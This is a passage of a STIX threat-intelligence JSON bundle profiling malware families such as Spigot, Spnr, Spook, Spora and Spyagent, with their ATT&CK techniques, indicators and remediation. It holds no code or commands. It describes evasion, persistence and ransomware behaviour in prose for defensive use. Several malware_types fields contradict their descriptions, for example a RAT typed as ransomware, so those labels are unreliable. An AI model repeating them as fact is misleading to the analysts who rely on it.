      "description": "Spigot (documented by Microsoft Defender, Malwarebytes, and Sophos as BrowserModifier:Win32/Spigot, Adware:Win32/Spigot, and PUP.Optional.Spigot) is a widely distributed commercial adware and browser modifier platform developed by Spigot, Inc. Bundled with hundreds of freeware utilities, PDF converters, and media utilities, Spigot deploys unwanted browser extensions (such as CouponDropDown, Search Assistant, and Application Mover) across Google Chrome, Firefox, and Internet Explorer. Once embedded in browser environments, Spigot intercepts DNS queries and HTTP search requests, redirecting users to sponsored partner search portals and injecting unsolicited coupon overlays, pop-unders, and inline advertising links into visited web pages. Spigot maintains host persistence via HKCU Run registry entries, Windows Scheduled Tasks, and background auto-updating binaries installed under %AppData% and %ProgramFiles%. (Observed samples in benchmark: 1,008)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Spigot",
        "Adware:Win32/Spigot",
        "Win32/Spigot",
        "PUP.Optional.Spigot",
        "Adware.Spigot",
        "Spigot.CouponDropDown"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spigot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spigot"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adf7dee6-44e3-571c-9f51-7abb94b399ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--707c2860-0a37-59a4-aad4-d657ae2e65be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55ab8133-36d5-5fd6-9b11-8468d0141d39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b89187a1-2fd6-5092-a129-50c84456d9c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e51d7595-c70b-5a0e-aec0-018c8e58e505",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38d105ec-4d17-5221-af8d-242212315321",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84d268d3-69d6-59e6-adc3-619d2ba7015e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac843b12-776d-5220-981f-7c70ce39b23c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spigot exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spnr",
      "description": "Trojan:Win32/Spnr is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Spnr</b><br>To an end-user, a Spnr infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Spnr is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Spnr is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Spnr frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Spnr reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spnr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spnr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e430e2cb-973c-50d9-8a15-76e0a3ff1145",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spnr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7758521-19c2-544f-a6a7-369bf7e4c6a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spnr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c519292-6da0-5e80-a795-63909ee4ebb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spnr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d740ad89-e581-5a92-a26f-344e29e8a9ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spnr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ebf4802-bb18-50ae-a058-4dc2539040b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--672c33b0-f6a4-5384-9207-ee3cce311875",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spnr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1bfb853d-dad2-55fe-a34f-8d95d5a8c75a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spoofer",
      "description": "<h3>Executive Summary</h3>\n\"Spoofer\" (often flagged as HackTool.Spoofer or Riskware.Spoofer) is a detection classification for a category of software utilities designed to mask, alter, or falsify identifying information originating from a computer or network. While some spoofers have legitimate penetration testing applications, their presence in a standard corporate environment strongly indicates malicious intent, suggesting an attacker (or malicious insider) is actively attempting to bypass access controls or hide their tracks.\n\n<h3>Technical Capabilities and Evasion Tactics</h3>\nSpoofing utilities are varied, but generally focus on falsifying network or hardware identities:\n<ul>\n<li><strong>MAC Spoofing:</strong> The most common form involves altering the Media Access Control (MAC) address of the Network Interface Card (NIC). Attackers use this to bypass MAC filtering on wireless networks, circumvent captive portals, or impersonate a trusted corporate device.</li>\n<li><strong>IP Spoofing:</strong> The tool generates network packets with a forged source IP address. This is frequently used to launch Denial-of-Service (DoS) attacks, obscure the true origin of an attack, or attempt to bypass IP-based authentication controls.</li>\n<li><strong>Hardware/HWID Spoofing:</strong> Advanced spoofers (often used in the gaming cheat community but adaptable for malware) alter the Hardware ID (HWID) presented to the operating system. This technique is used to bypass hardware bans or trick software licensing mechanisms.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe detection of a Spoofer utility on a corporate endpoint is a significant security event. It indicates that the compromised machine is being used to actively subvert network security policies. If an attacker is successfully spoofing their IP or MAC address, it renders standard network logs highly unreliable, drastically complicating incident response and forensic attribution.\n\n<h3>Incident Response and Advanced Analysis</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint immediately. The presence of a spoofer implies the user has malicious intent or the machine is controlled by an attacker actively attempting to evade detection or launch further attacks.</li>\n<li><strong>Review Identity Controls:</strong> If MAC spoofing is suspected, security teams must recognize that MAC filtering is a highly flawed control. Enterprises should shift toward robust identity-based network access controls like 802.1X (RADIUS authentication).</li>\n<li><strong>Forensic Investigation:</strong> Extract the spoofer utility to understand its capabilities. Cross-reference the timeline of the spoofer's execution with network flow logs to identify potentially unauthorized access that occurred under a forged identity.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.Spoofer",
        "Riskware.Spoofer",
        "Tool.Win32.Spoofer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spoofer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spoofer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adebc34e-54d6-5baf-870a-3dc9d0a2207b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bfb853d-dad2-55fe-a34f-8d95d5a8c75a",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spoofer exhibits technique T1562 (Impair Defenses (Suspicious API calls))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc2873c9-3eef-5ad3-b25c-03546ef94dff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bfb853d-dad2-55fe-a34f-8d95d5a8c75a",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spoofer exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c69d9a4-aae4-50f5-9c72-b87e662adfd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bfb853d-dad2-55fe-a34f-8d95d5a8c75a",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spoofer exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8ca0e758-c0a8-5804-86b2-4b4a0afa70b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spook",
      "description": "Backdoor:Win32/Spook is a persistent Remote Access Trojan (RAT) designed to provide attackers with covert, interactive control over a compromised system. True to its name, Spook focuses heavily on stealth and espionage, allowing operators to exfiltrate sensitive documents, monitor user activity, and maintain a long-term presence within a network without triggering traditional alarms (`T1059`).<br><br><b>Understanding Spook (Covert Backdoor)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Spook indicates a targeted attack or an advanced persistent threat (APT) scenario, where the adversary is prioritizing intelligence gathering and lateral movement over immediate, noisy monetization (like ransomware).<br><br><b>Execution and Covert Mechanics</b><br>Spook is typically delivered via highly targeted spearphishing campaigns or dropped after initial exploitation of a vulnerable web service. Upon execution, it employs advanced evasion techniques, often utilizing API unhooking or direct syscalls to bypass EDR monitoring (`T1562.001`). It establishes persistence covertly, sometimes utilizing DLL Search Order Hijacking (`T1574.001`) or WMI event subscriptions (`T1546.003`) rather than noisy Registry Run keys. It communicates with its C2 server using customized, encrypted protocols, often blending in with normal HTTPS or DNS traffic (`T1071.001`) to evade network intrusion detection systems.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the severe loss of confidentiality and intellectual property theft. Host-based IoCs require deep forensics: EDR alerts for anomalous DLL loads, unusual WMI activity, or legitimate processes (like `svchost.exe`) making unexpected network connections. Network IoCs are subtle, often manifesting as regular, low-volume 'beaconing' traffic to unknown IP addresses or domains with recently registered, anomalous names. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spook",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spook"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b9b9359-2bc7-5bcc-bdff-7338b1f01fdf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ca0e758-c0a8-5804-86b2-4b4a0afa70b7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spook exhibits technique T1059 (Command and Scripting Interpreter (Providing covert shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--262186a5-ad7b-52c2-9c5d-e3406713d5f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ca0e758-c0a8-5804-86b2-4b4a0afa70b7",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spook exhibits technique T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking (Covert persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7124804-08ce-52dd-998a-fbc6ed3f4701",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ca0e758-c0a8-5804-86b2-4b4a0afa70b7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spook exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Blending C2 traffic with normal HTTPS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1895ab4f-78b4-59ab-a4ec-293040d36dbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8ca0e758-c0a8-5804-86b2-4b4a0afa70b7",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spook exhibits technique T1005 (Data from Local System (Covertly searching for and staging sensitive files))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--360922fd-19f7-5487-81f7-a472c70be8f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spora",
      "description": "Ransom:Win32/Spora is widely regarded by threat analysts as one of the most sophisticated, 'professionally' developed crypto-ransomware families of its era. It gained notoriety not just for its robust RSA/AES encryption, but for its highly polished, consumer-friendly payment portal that offered a menu of extortion options, treating the victim more like a customer than a target.<br><br><b>Understanding Spora (Professional Ransomware)</b><br>To an end-user, Spora presents a catastrophic loss of data, coupled with a surprisingly professional, multi-lingual web interface (accessed via a dropped `.HTA` file). Spora was unique because it didn't just demand a flat fee; it offered 'a la carte' services. Victims could pay a large fee for a full system decryptor, a smaller fee to decrypt specific files, or a very small fee just to 'remove the virus' (without decrypting the data). For an enterprise, Spora was highly dangerous because it worked entirely offline after initial execution, requiring no C2 communication to encrypt files.<br><br><b>Execution and Extortion Mechanics</b><br>Spora was typically distributed via massive malspam campaigns featuring malicious invoices (often ZIP files containing HTA or JavaScript downloaders) (`T1566.001`). It was also heavily distributed via compromised websites offering fake Chrome font updates (the HoeflerText lure) (`T1189`). Upon execution, it does not require internet access (`T1486`). It generates a unique RSA key pair locally, encrypts the local private key with a hardcoded master public key, and then encrypts user files (`.doc`, `.xls`, `.pdf`, `.zip`, etc.) using AES-256. It modifies the registry to establish persistence (`T1547.001`) and famously deletes Volume Shadow Copies to prevent easy recovery (`T1490`). It does not append a new extension to encrypted files, but it drops a `.HTA` file containing the ransom portal.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe, immediate data loss. Host-based IoCs include EDR alerts for `vssadmin.exe` execution, massive disk I/O, and the sudden appearance of the `<User_ID>.html` or `<User_ID>.hta` ransom notes on the desktop and in every encrypted directory. Network IoCs are minimal during encryption, as Spora is designed to operate offline. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spora",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spora"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98b14010-7b7c-5179-a1e9-87cbe8447904",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--360922fd-19f7-5487-81f7-a472c70be8f8",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spora exhibits technique T1486 (Data Encrypted for Impact (Offline encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de5b708d-8eaf-53e7-899e-23815d9bc1f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--360922fd-19f7-5487-81f7-a472c70be8f8",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spora exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--164e4c77-dacf-5a1b-af07-dbc5cf0e4d50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--360922fd-19f7-5487-81f7-a472c70be8f8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spora exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c27bb61-d47a-5c4d-8151-6148cc55c260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--360922fd-19f7-5487-81f7-a472c70be8f8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spora exhibits technique T1189 (Drive-by Compromise (Fake Font Updates))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--511ec626-a645-58a5-8ba2-9b2c73b7f4f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Springtech",
      "description": "<h3>Executive Summary</h3>\nSpringtech is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system utility, optimization tool, or browser enhancement. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpringtech relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Springtech frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Springtech is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Springtech",
        "PUP.Springtech",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Springtech",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/springtech"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f7c1170-19f5-5fc4-af70-9b2faf9acdb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--511ec626-a645-58a5-8ba2-9b2c73b7f4f2",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Springtech exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a51e553-9cb8-5ef3-a37e-6f2c2e6a981a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--511ec626-a645-58a5-8ba2-9b2c73b7f4f2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Springtech exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6cc81ae-b4f0-5eb4-8d52-750282b5bc35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--511ec626-a645-58a5-8ba2-9b2c73b7f4f2",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Springtech exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b1a9b77-90e3-5a9c-84e3-560b70454932",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spyagent",
      "description": "Spyware:Win32/Spyagent is a highly prevalent malware family (and sometimes a commercial 'employee monitoring' tool abused by attackers) designed to comprehensively monitor and record a user's activity. Its primary goal is absolute stealth, operating invisibly to capture keystrokes, take screenshots, record application usage, and steal credentials, subsequently exfiltrating this data to a remote attacker.<br><br><b>Understanding Spyagent</b><br>To an end-user, a Spyagent infection is entirely invisible. The system runs normally, with no ransom notes or visible windows. For an enterprise security team, Spyagent represents a critical, ongoing breach of confidentiality. Because it can be compiled from commercial 'stalkerware' sources, it is often used in targeted corporate espionage or by malicious insiders.<br><br><b>Execution and Surveillance Mechanics</b><br>Spyagent is typically delivered via spearphishing attachments (`T1566.001`) or installed physically by a malicious insider (`T1091`). Upon execution, it establishes deep persistence, often running as a hidden Windows Service (`T1543.003`) or creating heavily obfuscated Registry Run keys (`T1547.001`). Once active, Spyagent hooks the `SetWindowsHookEx` API to capture every keystroke typed (`T1056.001`). It 